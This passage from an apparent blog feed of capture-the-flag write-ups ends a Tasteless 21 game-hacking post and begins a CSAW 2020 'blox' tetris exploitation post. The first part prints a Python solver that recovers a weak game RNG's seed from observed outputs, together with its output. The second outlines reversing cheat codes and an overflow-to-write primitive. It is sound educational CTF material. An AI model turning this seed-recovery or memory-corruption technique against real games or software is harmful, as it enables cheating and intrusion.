<span class="dl">"</span><span class="s2">This is the END for you, you gutter crawling cur!</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">And I've got a little TIP for you, get the POINT?</span><span class="dl">"</span><span class="p">,</span> 
<span class="dl">"</span><span class="s2">I've spoken with apes more polite than you!</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">I'm glad to hear you attended your family reunion!</span><span class="dl">"</span><span class="p">,</span> 
<span class="err">##</span> <span class="p">[</span><span class="nx">truncated</span><span class="p">]</span>
<span class="p">}</span>

<span class="kd">var</span> <span class="nx">players</span> <span class="o">=</span> <span class="p">{}</span>

<span class="kd">class</span> <span class="nx">BigWhoop</span><span class="p">:</span>
	<span class="kd">var</span> <span class="nx">pos</span> <span class="o">=</span> <span class="nx">Vector3</span><span class="p">.</span><span class="nx">ZERO</span>
	<span class="kd">var</span> <span class="nx">rotation</span> <span class="o">=</span> <span class="mi">0</span><span class="k">as</span> <span class="nx">int</span>
	<span class="kd">var</span> <span class="nx">distance</span> <span class="o">=</span> <span class="mi">10</span><span class="k">as</span> <span class="nx">int</span>

	<span class="nx">func</span> <span class="nx">_init</span><span class="p">():</span>
		<span class="nx">pos</span><span class="p">.</span><span class="nx">x</span> <span class="o">=</span> <span class="nx">randi</span><span class="p">()</span> <span class="o">%</span> <span class="mi">255</span>
		<span class="nx">pos</span><span class="p">.</span><span class="nx">y</span> <span class="o">=</span> <span class="nx">randi</span><span class="p">()</span> <span class="o">%</span> <span class="mi">255</span>
		<span class="nx">pos</span><span class="p">.</span><span class="nx">z</span> <span class="o">=</span> <span class="nx">randi</span><span class="p">()</span> <span class="o">%</span> <span class="mi">255</span>

	<span class="nx">func</span> <span class="nx">dig</span><span class="p">():</span>
		<span class="kd">var</span> <span class="nx">hint</span> <span class="o">=</span> <span class="p">(</span><span class="nx">int</span><span class="p">(</span><span class="nx">pos</span><span class="p">.</span><span class="nx">x</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="nx">int</span><span class="p">(</span><span class="nx">pos</span><span class="p">.</span><span class="nx">x</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mi">255</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">255</span>
		<span class="nx">pos</span><span class="p">.</span><span class="nx">x</span> <span class="o">=</span> <span class="nx">pos</span><span class="p">.</span><span class="nx">y</span>
		<span class="nx">pos</span><span class="p">.</span><span class="nx">y</span> <span class="o">=</span> <span class="nx">pos</span><span class="p">.</span><span class="nx">z</span>
		<span class="nx">pos</span><span class="p">.</span><span class="nx">z</span> <span class="o">=</span> <span class="nx">rotation</span>
		<span class="nx">rotation</span> <span class="o">=</span> <span class="nx">int</span><span class="p">(</span><span class="nx">pos</span><span class="p">.</span><span class="nx">z</span><span class="p">)</span> <span class="o">^</span> <span class="nx">hint</span> <span class="o">^</span> <span class="p">(</span><span class="nx">int</span><span class="p">(</span><span class="nx">pos</span><span class="p">.</span><span class="nx">z</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="nx">int</span><span class="p">(</span><span class="nx">hint</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">255</span><span class="p">)</span>
		<span class="k">return</span> <span class="nx">rotation</span> <span class="o">%</span> <span class="mi">64</span>
</code></pre></div></div>

<p>He has 64 different insults. On his initialization he creates 3 random bytes <code class="language-plaintext highlighter-rouge">(x,y,z)</code> which are used as the type of IV for this rng algorithm. Its a recursive type algorithm that creates a new state based on the last state, creating a state chain. Each state outputs a <code class="language-plaintext highlighter-rouge">rotation % 64</code>, which is the lookup index for the insults. Each time you ask for an insult, it progresses to the next state. At face value, a 1/64 guess is not that bad, but remember that each time you get the guess wrong, you MUST get it right 2 times in a row to account for that loss. At a minimum you need <code class="language-plaintext highlighter-rouge">10</code> correct guesses to win based on the initial <code class="language-plaintext highlighter-rouge">distance</code> value. That would be a <code class="language-plaintext highlighter-rouge">1/1152921504606846976</code> chance of winning. That’s no good. So, let’s conceptualize how this algorithm is flawed.</p>

<p>Here is a visual of what happens:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>X = (x, y, z, rotation)

dig(X0) -&gt; X1
        dig(X1) -&gt; X2
            ...
                dig(Xn-1) -&gt; Xn
</code></pre></div></div>

<p>We want to know <code class="language-plaintext highlighter-rouge">X0</code>, given <code class="language-plaintext highlighter-rouge">X1</code> …  <code class="language-plaintext highlighter-rouge">Xn</code>. From the init, it’s clear that <code class="language-plaintext highlighter-rouge">X0</code> is legitimately 3 bytes of randomness, but if we track all the possible <code class="language-plaintext highlighter-rouge">X0</code> that will generate <code class="language-plaintext highlighter-rouge">X1</code> that will generate <code class="language-plaintext highlighter-rouge">X2</code>, it will highly reduce the set since all the <code class="language-plaintext highlighter-rouge">X0</code> that does not lead to <code class="language-plaintext highlighter-rouge">X2</code> will be filtered out. We can expand this idea to <code class="language-plaintext highlighter-rouge">Xn</code> by generating the full set of <code class="language-plaintext highlighter-rouge">X0</code> and tracking which <code class="language-plaintext highlighter-rouge">X0</code> make it to <code class="language-plaintext highlighter-rouge">Xn</code>. To be concise, we care about the <code class="language-plaintext highlighter-rouge">X0</code> that reaches <code class="language-plaintext highlighter-rouge">Xn</code>.</p>

<p>After some trial and error, it became clear that after <code class="language-plaintext highlighter-rouge">n = 8</code>, there are only two possible points that <code class="language-plaintext highlighter-rouge">X0</code> could be. This is a 50% chance to have a seed that will generate only 100% correct guesses. That’s really good, since we can actually try both <code class="language-plaintext highlighter-rouge">X0</code> guesses against the npc. Here is the python code we wrote to solve for <code class="language-plaintext highlighter-rouge">X0</code>, called the seed, and generate the next sequences given 8 observations:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">## truncated file 
</span>
<span class="k">def</span> <span class="nf">dig</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">rot</span><span class="p">):</span>
    <span class="n">hint</span> <span class="o">=</span> <span class="p">(</span><span class="n">x</span> <span class="o">^</span> <span class="p">(</span><span class="n">x</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span>
    <span class="n">x</span> <span class="o">=</span> <span class="n">y</span>
    <span class="n">y</span> <span class="o">=</span> <span class="n">z</span>
    <span class="n">z</span> <span class="o">=</span> <span class="n">rot</span>
    <span class="n">rot</span> <span class="o">=</span> <span class="n">z</span> <span class="o">^</span> <span class="n">hint</span> <span class="o">^</span> <span class="p">(</span><span class="n">z</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="n">hint</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">rot</span> <span class="o">%</span> <span class="mi">64</span><span class="p">,</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">rot</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">get_nth_dig</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">rot</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
    <span class="n">output</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
        <span class="n">out</span><span class="p">,</span> <span class="n">point</span> <span class="o">=</span> <span class="n">dig</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">rot</span><span class="p">)</span>
        <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">rot</span> <span class="o">=</span> <span class="n">point</span>
        <span class="n">output</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">out</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">output</span>

<span class="k">def</span> <span class="nf">solve</span><span class="p">(</span><span class="n">obs</span><span class="p">):</span>
    <span class="c1">## you need approximately 8 rounds to have a 50/50 chance
</span>    <span class="n">round_sets</span> <span class="o">=</span> <span class="p">{</span><span class="n">i</span><span class="p">:</span> <span class="p">{}</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">obs</span><span class="p">))}</span>

    <span class="c1">## initialize round 0 with a full 3 byte range
</span>    <span class="n">rot</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="n">solns</span> <span class="o">=</span> <span class="p">{}</span>
    <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">tqdm</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mh">0xff</span><span class="p">)):</span>
        <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0xff</span><span class="p">):</span>
            <span class="k">for</span> <span class="n">z</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0xff</span><span class="p">):</span>
                <span class="n">out</span><span class="p">,</span> <span class="n">point</span> <span class="o">=</span> <span class="n">dig</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">rot</span><span class="p">)</span>
                <span class="k">if</span> <span class="n">out</span> <span class="o">==</span> <span class="n">obs</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">and</span> <span class="n">point</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
                    <span class="c1">## nextround -&gt; thisround
</span>                    <span class="n">solns</span><span class="p">[</span><span class="n">point</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">rot</span><span class="p">)</span>
    <span class="n">round_sets</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">solns</span>

    <span class="c1">## run as many rounds as observations left
</span>    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">obs</span><span class="p">)):</span>
        <span class="n">solns</span> <span class="o">=</span> <span class="p">{}</span>
        <span class="k">for</span> <span class="n">soln</span> <span class="ow">in</span> <span class="n">tqdm</span><span class="p">(</span><span class="n">round_sets</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">]):</span>
            <span class="n">out</span><span class="p">,</span> <span class="n">point</span> <span class="o">=</span> <span class="n">dig</span><span class="p">(</span><span class="o">*</span><span class="n">soln</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">out</span> <span class="o">==</span> <span class="n">obs</span><span class="p">[</span><span class="n">i</span><span class="p">]:</span>
                <span class="n">solns</span><span class="p">[</span><span class="n">point</span><span class="p">]</span> <span class="o">=</span> <span class="n">soln</span>
        <span class="n">round_sets</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">solns</span>

    <span class="c1">## use a backwards chain to verify the seed is real
</span>    <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">tqdm</span><span class="p">(</span><span class="n">round_sets</span><span class="p">[</span><span class="nb">len</span><span class="p">(</span><span class="n">round_sets</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">]):</span>
        <span class="n">last_round</span> <span class="o">=</span> <span class="n">k</span>
        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">round_sets</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">):</span>
            <span class="k">if</span> <span class="n">last_round</span> <span class="ow">in</span> <span class="n">round_sets</span><span class="p">[</span><span class="n">i</span><span class="p">]:</span>
                <span class="n">last_round</span> <span class="o">=</span> <span class="n">round_sets</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">last_round</span><span class="p">]</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] FOUND SEED: </span><span class="si">{</span><span class="n">last_round</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="k">yield</span> <span class="n">last_round</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">observations</span> <span class="o">=</span> <span class="p">[</span>
        <span class="s">"Heaven preserve me! You look like something that's died!"</span><span class="p">,</span>
        <span class="s">"This is the END for you, you gutter crawling cur!"</span><span class="p">,</span>
        <span class="s">"Killing you would be justifiable homicide!"</span><span class="p">,</span>
        <span class="s">"My tongue is sharper than any sword."</span><span class="p">,</span>
        <span class="s">"My skills with a sword are highly venerated!"</span><span class="p">,</span>
        <span class="s">"My attacks have left entire islands depopulated!"</span><span class="p">,</span>
        <span class="s">"You're the ugliest monster ever created!"</span><span class="p">,</span>
        <span class="s">"I've heard you are a contemptible sneak."</span><span class="p">,</span>
    <span class="p">]</span>
    <span class="n">idx_obs</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">obs</span> <span class="ow">in</span> <span class="n">observations</span><span class="p">:</span>
        <span class="n">idx_obs</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">reverse_lookup_insult</span><span class="p">(</span><span class="n">obs</span><span class="p">))</span>

    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Inverting and composing init state:"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">idx_obs</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Starting solve..."</span><span class="p">)</span>
    <span class="n">init_vals</span> <span class="o">=</span> <span class="n">solve</span><span class="p">(</span><span class="n">idx_obs</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Getting next sequence..."</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">init_val</span> <span class="ow">in</span> <span class="n">init_vals</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"[+] Extended Sequence: "</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="n">get_nth_dig</span><span class="p">(</span><span class="o">*</span><span class="n">init_val</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">idx_obs</span><span class="p">)</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="mi">30</span><span class="p">))</span>

    <span class="c1">## convert_seq_to_words(get_nth_dig(*init_val, len(idx_obs)*2 + 11)[len(idx_obs)+1:])
</span>    <span class="kn">import</span> <span class="nn">ipdb</span><span class="p">;</span> <span class="n">ipdb</span><span class="p">.</span><span class="n">set_trace</span><span class="p">()</span>
</code></pre></div></div>

<p>As a fast breakdown, the real magic happens in the <code class="language-plaintext highlighter-rouge">solve</code> function, that takes a series of insults you got from the npc. You need him to insult you 8 times, as said before. The solve starts by generating the full set of possible <code class="language-plaintext highlighter-rouge">X0</code>, then uses each round of observed conversation to reduce the set to only <code class="language-plaintext highlighter-rouge">X0</code> that can generate things. Lastly, in a nice confusing recursion-like loop, we use a dict for each round to do a reverse loopkup. If we make it all the way down to round 0 dict, that means the point is a possible seed.</p>

<p>Here is the output of this script for the dialog interaction we recorded:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">▶</span> <span class="n">python3</span> <span class="n">solve_insults</span><span class="p">.</span><span class="n">py</span> 
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Inverting</span> <span class="ow">and</span> <span class="n">composing</span> <span class="n">init</span> <span class="n">state</span><span class="p">:</span>
<span class="p">[</span><span class="mi">47</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">36</span><span class="p">,</span> <span class="mi">22</span><span class="p">,</span> <span class="mi">60</span><span class="p">,</span> <span class="mi">49</span><span class="p">,</span> <span class="mi">37</span><span class="p">,</span> <span class="mi">13</span><span class="p">]</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">solve</span><span class="p">...</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Getting</span> <span class="nb">next</span> <span class="n">sequence</span><span class="p">...</span>
<span class="p">[</span><span class="err">!</span><span class="p">]</span> <span class="n">FOUND</span> <span class="n">SEED</span><span class="p">:</span> <span class="p">(</span><span class="mi">124</span><span class="p">,</span> <span class="mi">241</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">77</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Extended</span> <span class="n">Sequence</span><span class="p">:</span> 
<span class="p">[</span><span class="mi">47</span><span class="p">,</span> <span class="mi">27</span><span class="p">,</span> <span class="mi">41</span><span class="p">,</span> <span class="mi">58</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">24</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">62</span><span class="p">,</span> <span class="mi">43</span><span class="p">,</span> <span class="mi">22</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">33</span><span class="p">,</span> <span class="mi">43</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">29</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">18</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">45</span><span class="p">,</span> <span class="mi">61</span><span class="p">,</span> <span class="mi">53</span><span class="p">,</span> <span class="mi">27</span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">56</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">22</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">63</span><span class="p">,</span> <span class="mi">26</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">61</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">37</span><span class="p">,</span> <span class="mi">21</span><span class="p">,</span> <span class="mi">40</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">20</span><span class="p">]</span>
<span class="p">[</span><span class="err">!</span><span class="p">]</span> <span class="n">FOUND</span> <span class="n">SEED</span><span class="p">:</span> <span class="p">(</span><span class="mi">252</span><span class="p">,</span> <span class="mi">241</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">77</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Extended</span> <span class="n">Sequence</span><span class="p">:</span> 
<span class="p">[</span><span class="mi">47</span><span class="p">,</span> <span class="mi">27</span><span class="p">,</span> <span class="mi">9</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">21</span><span class="p">,</span> <span class="mi">33</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">62</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">58</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">9</span><span class="p">,</span> <span class="mi">63</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">19</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">45</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">56</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">29</span><span class="p">,</span> <span class="mi">27</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">23</span><span class="p">,</span> <span class="mi">43</span><span class="p">,</span> <span class="mi">35</span><span class="p">,</span> <span class="mi">56</span><span class="p">,</span> <span class="mi">45</span><span class="p">,</span> <span class="mi">54</span><span class="p">,</span> <span class="mi">24</span><span class="p">,</span> <span class="mi">60</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">29</span><span class="p">,</span> <span class="mi">59</span><span class="p">,</span> <span class="mi">34</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">61</span><span class="p">,</span> <span class="mi">30</span><span class="p">]</span>
</code></pre></div></div>

<p>After this, it was as simple as inputing the numbers we knew was next in the sequence, due to the earlier done <code class="language-plaintext highlighter-rouge">chat</code> override that would replace the number with the insult from the insults dict. It takes about 18 insults (after the 8 observed) to win. Just like the Skull Island challenge, you must have <code class="language-plaintext highlighter-rouge">FLAG_BIGWHOOP</code> in your <code class="language-plaintext highlighter-rouge">player.markers</code> to be able to spawn the chest, so use the earlier hack for flags. Find the full solve script <a href="https://github.com/mahaloz/ctf_files/blob/main/ctfs/tasteless-21/tasteless-shores/solve_insults.py">here</a>.</p>

<h2 id="thanks-where-thanks-is-due">Thanks where thanks is due</h2>

<p>I need to give a huge shutout to both Lucas and Wil. For the majority of the game I had to continually send them my game patches and they had to run it since I had no work setup. They also were a huge part in solving these levels. As usual, this solve was only possible with friends :).</p>

<h2 id="conclusion">Conclusion</h2>

<p>This was a really fun challenge, and a classic example of game hacking. I did wish there was more binary related stuff, but I know its hard to dump a lot of time into making a game engine. I also wish we had more time to solve part 5 and 6 of this challenge set, since I’m sure it must have been great. We got 10th, gg.</p>

<p><img src="/assets/images/ctf/tasteless-21/scoreboard.png" alt="" /></p>]]></content><author><name></name></author><category term="ctf" /><category term="reversing" /><category term="game-hacking" /><summary type="html"><![CDATA[A series of game hacking challenges hosted in Tasteless 21. Decompiling, modifying, and recompiling Godot scripts to abuse client-side computations for a multiplayer game. Fly hacks, no-damage, super speed, and rng abuse.]]></summary></entry><entry><title type="html">Exploiting a custom tetris game in CSAW Quals 2020</title><link href="https://mahaloz.re/2020/09/13/csaw-quals-2020-blox.html" rel="alternate" type="text/html" title="Exploiting a custom tetris game in CSAW Quals 2020" /><published>2020-09-13T00:00:00+00:00</published><updated>2020-09-13T00:00:00+00:00</updated><id>https://mahaloz.re/2020/09/13/csaw-quals-2020-blox</id><content type="html" xml:base="https://mahaloz.re/2020/09/13/csaw-quals-2020-blox.html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>This writeup is based on two challenges from CSAW Quals 2020, <code class="language-plaintext highlighter-rouge">blox1</code> and <code class="language-plaintext highlighter-rouge">blox2</code> collectively known as the <code class="language-plaintext highlighter-rouge">blox</code> challenge. <code class="language-plaintext highlighter-rouge">blox1</code> was the reversing portion, and <code class="language-plaintext highlighter-rouge">blox2</code> was the pwning portion. My teammates <a href="https://github.com/pcgrosen">Paul</a>, <a href="https://github.com/n-wach">Nathan (UCSB)</a>, and <a href="https://twitter.com/Pascal_0x90">Nathan (ASU)</a> solved the majority of <code class="language-plaintext highlighter-rouge">blox1</code>, so I will focus on the pwning aspect of this challenge.</p>

<blockquote>
  <p>We found an old arcade machine lying around, manufactured by the RET2 Corporation. Their devs are notorious for hiding backdoors and easter eggs in their games, care to take a peek?</p>
</blockquote>

<p><strong><em>Challenge link</em></strong>: <a href="https://wargames.ret2.systems/962c162fa1d2ea626d36/csaw_2020">ret2systems</a></p>

<p><strong><em>All challenge files and solve scripts</em></strong>: <a href="https://github.com/mahaloz/mahaloz.re/tree/master/writeup_code/csaw-quals-20">here</a></p>

<p><strong>rev desc</strong>: “turn on cheats.”</p>

<p><strong>pwn desc</strong>: “invalidate the warranty.”</p>

<h2 id="overview">Overview</h2>
<p>We are given the source code to a <a href="https://en.wikipedia.org/wiki/Tetris">tetris</a> video game that allows cheats if the right tetrominos are placed at specific board locations. If you use the cheats correctly you can cause an overflow outside of the board printed on the screen. The overflow allows a partial <a href="https://stackoverflow.com/questions/52827397/what-is-the-meaning-of-write-4-primitive">write primitive</a>. Upgrading the primitive with writes to the <code class="language-plaintext highlighter-rouge">.text</code> allows you to get the flag.</p>

<p><img src="/assets/images/blox_cheats.gif" alt="" /></p>

<p>As an overview I will cover:</p>
<ul>
  <li><a href="#challenge-description">Challenge Description</a></li>
  <li><a href="#overview">Overview</a></li>
  <li><a href="#reversing">Reversing</a>
    <ul>
      <li><a href="#recon">Recon</a></li>
      <li><a href="#static-analysis-of-the-binary">Static Analysis of the Binary</a></li>
      <li><a href="#constraint-solving">Constraint Solving</a></li>
    </ul>
  </li>
  <li><a href="#searching-for-vulnerabilities">Searching for Vulnerabilities</a></li>
  <li><a href="#understanding-our-primitives">Understanding our Primitives</a></li>
  <li><a href="#upgrading-our-write-primitive">Upgrading our Write Primitive</a>
    <ul>
      <li><a href="#real-arbitrary-pointer">Real Arbitrary Pointer</a></li>
      <li><a href="#real-arbitrary-write-values">Real Arbitrary Write Values</a></li>
    </ul>
  </li>
  <li><a href="#shellcoding-to-victory">Shellcoding to Victory</a></li>
  <li><a href="#thanks-where-thanks-is-due">Thanks Where Thanks is Due</a></li>
  <li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="reversing">Reversing</h2>
<h3 id="recon">Recon</h3>
<p>So we are playing some sort of modified Tetris:</p>

<p><img src="/assets/images/blox1_ex1.png" alt="" /></p>

<p>From the description of the challenge we know we want to turn cheats on – though we don’t know what that means yet. Taking a quick look at the game source we can see:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="n">cheats_enabled</span><span class="p">;</span>

<span class="p">[...]</span>

<span class="c1">// magic values for the hardware logging mechanism</span>
<span class="c1">// hacking is grounds for voiding this machine's warranty</span>
<span class="cp">#define LOG_CHEATING 0xbadb01
#define LOG_HACKING 0x41414141
</span><span class="kt">void</span> <span class="nf">hw_log</span><span class="p">(</span><span class="kt">int</span> <span class="n">reason</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">syscall</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">reason</span><span class="p">);</span>
<span class="p">}</span>

<span class="p">[...]</span>

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">cheats_enabled</span> <span class="o">&amp;&amp;</span> <span class="n">check_cheat_codes</span><span class="p">())</span> <span class="p">{</span>
                <span class="n">cheats_enabled</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
                <span class="n">hw_log</span><span class="p">(</span><span class="n">LOG_CHEATING</span><span class="p">);</span>
            <span class="p">}</span>

<span class="p">[...]</span>
</code></pre></div></div>
<p>This already gives us the direction of this reversing challenge which is reverse the <code class="language-plaintext highlighter-rouge">check_cheat_codes()</code> function to get the codes we need to enter to satisfy a call to the <code class="language-plaintext highlighter-rouge">hw_log</code>. Unfortunately, the source code for this challenge does not contain <code class="language-plaintext highlighter-rouge">check_cheat_codes()</code>, so we need to either get the binary for this challenge or use ret2systems built in disassembler. I like IDA (or Ghidra) more, so I decided to go with the former.</p>

<h3 id="static-analysis-of-the-binary">Static Analysis of the Binary</h3>

<p>At the time we solved this challenge, there was no binary released, so we had to leak it directly from the ret2systems <code class="language-plaintext highlighter-rouge">gdb</code> interface. This is somewhat trivial since you can just dump all the contents of memory and copy it out select-master style.</p>

<p>Once we have the binary we can locate two functions that appear to be doing the <code class="language-plaintext highlighter-rouge">check_cheat_codes()</code> operations at: <code class="language-plaintext highlighter-rouge">0x2537</code> and <code class="language-plaintext highlighter-rouge">0x261a</code>. The latter of the two looks something like this:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[...]</span>

<span class="k">for</span> <span class="p">(</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;=</span> <span class="mi">4</span><span class="p">;</span> <span class="o">++</span><span class="n">j</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span> <span class="n">board</span><span class="p">[</span><span class="n">j</span> <span class="o">+</span> <span class="mi">15</span><span class="p">][</span><span class="mi">3</span> <span class="o">*</span> <span class="n">thing</span> <span class="o">+</span> <span class="n">i</span><span class="p">]</span> <span class="p">)</span>
      <span class="p">{</span>
        <span class="n">v4</span> <span class="o">^=</span> <span class="n">j</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
        <span class="o">++</span><span class="n">v3</span><span class="p">;</span>
      <span class="p">}</span>
    <span class="p">}</span>
